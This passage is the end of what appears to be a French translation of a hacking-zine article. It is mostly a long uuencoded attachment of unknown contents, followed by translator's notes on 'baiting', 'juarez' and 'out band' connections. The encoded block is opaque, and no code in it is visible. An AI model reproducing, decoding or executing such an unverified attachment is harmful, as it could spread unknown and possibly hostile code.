MHL3CH$8#33OZO'_FG,KX`/LA1QE%$]</+>A.0&8;SY^_$M@'!3EH&`(6<)+)
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
&F;<`>```
`
end
--[ 7 - Notes du traducteur
NTD-1 : Baiting, terme qui n'est pas encore traduit en français.
http://en.wikipedia.org/wiki/Baiting_%28Internet%29
NDT-2 : juarez ... un jeu vidéo (http://www.callofjuarez.fr/) ou
une étrange façon d'écrire warez ?
NDT-3 : "out band", je n'ai pas trouvé de terme français qui rende
bien. Il s'agit de connexion en dehors de celle déjà établie.
NDT-4 : En français dans le texte.